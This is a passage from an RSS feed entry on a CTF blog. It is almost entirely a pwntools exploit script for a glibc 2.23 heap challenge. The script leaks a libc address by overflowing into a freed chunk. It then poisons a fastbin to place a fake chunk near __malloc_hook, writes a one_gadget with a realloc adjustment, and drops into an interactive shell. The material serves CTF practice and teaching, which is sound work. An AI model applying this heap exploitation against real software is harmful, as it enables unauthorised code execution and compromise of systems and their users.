</span></span><span class="line"><span class="cl">    <span class="n">LD</span><span class="o">=</span><span class="s1">&#39;/home/yuujier/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-linux-x86-64.so.2&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="n">libc</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="n">LIBC</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="c1">#libc = ELF(&#39;./libc-2.23.so&#39;)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">add</span><span class="p">(</span><span class="n">size</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">sla</span><span class="p">(</span><span class="s1">&#39;Command:&#39;</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">sla</span><span class="p">(</span><span class="s1">&#39;size:&#39;</span><span class="p">,</span><span class="n">size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">edit</span><span class="p">(</span><span class="n">idx</span><span class="p">,</span><span class="n">size</span><span class="p">,</span><span class="n">payload</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">sla</span><span class="p">(</span><span class="s1">&#39;Command:&#39;</span><span class="p">,</span><span class="mi">2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">sla</span><span class="p">(</span><span class="s1">&#39;Index:&#39;</span><span class="p">,</span><span class="n">idx</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">sla</span><span class="p">(</span><span class="s1">&#39;Size:&#39;</span><span class="p">,</span><span class="n">size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">sa</span><span class="p">(</span><span class="s1">&#39;Content:&#39;</span><span class="p">,</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">free</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">sla</span><span class="p">(</span><span class="s1">&#39;Command:&#39;</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">sla</span><span class="p">(</span><span class="s1">&#39;Index:&#39;</span><span class="p">,</span><span class="n">idx</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">dump</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">sla</span><span class="p">(</span><span class="s1">&#39;Command:&#39;</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">sla</span><span class="p">(</span><span class="s1">&#39;Index:&#39;</span><span class="p">,</span><span class="n">idx</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#申请chunk:</span>
</span></span><span class="line"><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mh">0x10</span><span class="p">)</span><span class="c1">#0</span>
</span></span><span class="line"><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mh">0x80</span><span class="p">)</span><span class="c1">#1</span>
</span></span><span class="line"><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mh">0x10</span><span class="p">)</span><span class="c1">#2</span>
</span></span><span class="line"><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mh">0x60</span><span class="p">)</span><span class="c1">#3</span>
</span></span><span class="line"><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mh">0x10</span><span class="p">)</span><span class="c1">#4</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl"><span class="c1">#--------leak addr--------</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">free</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">edit</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="s1">&#39;a&#39;</span><span class="o">*</span><span class="mh">0x20</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">dump</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">ru</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;Content:&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">ru</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;a&#39;</span><span class="o">*</span><span class="mh">0x20</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">leak</span><span class="o">=</span><span class="n">u64</span><span class="p">(</span><span class="n">r</span><span class="p">(</span><span class="mi">6</span><span class="p">)</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;</span><span class="se">\x00</span><span class="s1">&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">main_arena</span><span class="o">=</span><span class="n">leak</span><span class="o">-</span><span class="mi">88</span>
</span></span><span class="line"><span class="cl"><span class="n">malloc_hook</span><span class="o">=</span><span class="n">main_arena</span><span class="o">-</span><span class="mh">0x10</span>
</span></span><span class="line"><span class="cl"><span class="n">libc_base</span><span class="o">=</span><span class="n">malloc_hook</span><span class="o">-</span><span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s1">&#39;__malloc_hook&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">free_hook</span><span class="o">=</span><span class="n">libc_base</span><span class="o">+</span><span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s1">&#39;__free_hook&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">realloc</span><span class="o">=</span><span class="n">libc_base</span><span class="o">+</span><span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s1">&#39;realloc&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">lg</span><span class="p">(</span><span class="s1">&#39;free_hook&#39;</span><span class="p">,</span><span class="n">free_hook</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">lg</span><span class="p">(</span><span class="s1">&#39;main_arena&#39;</span><span class="p">,</span><span class="n">main_arena</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">lg</span><span class="p">(</span><span class="s1">&#39;malloc_hook&#39;</span><span class="p">,</span><span class="n">malloc_hook</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">lg</span><span class="p">(</span><span class="s1">&#39;libc_base&#39;</span><span class="p">,</span><span class="n">libc_base</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">lg</span><span class="p">(</span><span class="s1">&#39;realloc&#39;</span><span class="p">,</span><span class="n">realloc</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">edit</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">3</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mh">0x90</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl"><span class="c1">#--------fake chunk--------</span>
</span></span><span class="line"><span class="cl"><span class="n">free</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">edit</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="mh">0x28</span><span class="p">,</span><span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">3</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mh">0x71</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">malloc_hook</span><span class="o">-</span><span class="mh">0x23</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mh">0x60</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mh">0x60</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">one</span><span class="o">=</span><span class="p">[</span><span class="mh">0x45216</span><span class="p">,</span><span class="mh">0x4527a</span><span class="p">,</span><span class="mh">0xf03a4</span><span class="p">,</span><span class="mh">0xf1247</span><span class="p">,</span><span class="mh">0xcd173</span><span class="p">,</span><span class="mh">0xf67f0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">one_gadget</span><span class="o">=</span><span class="n">libc_base</span><span class="o">+</span><span class="n">one</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">edit</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="n">p8</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">3</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">one_gadget</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">realloc</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="c1">#gdb.attach(p,&#39;b realloc&#39;)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#pause()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mh">0x1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div>
        
        <hr><p>本文2026-05-24首发于<a href='https://blog.m15tak3.com/'>M15tak3のBlog</a>，最后修改于2026-05-24</p><p>本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！</p>]]>
      </description>
      
        <category>CTF</category>
      
    </item>
    
  </channel>
</rss>
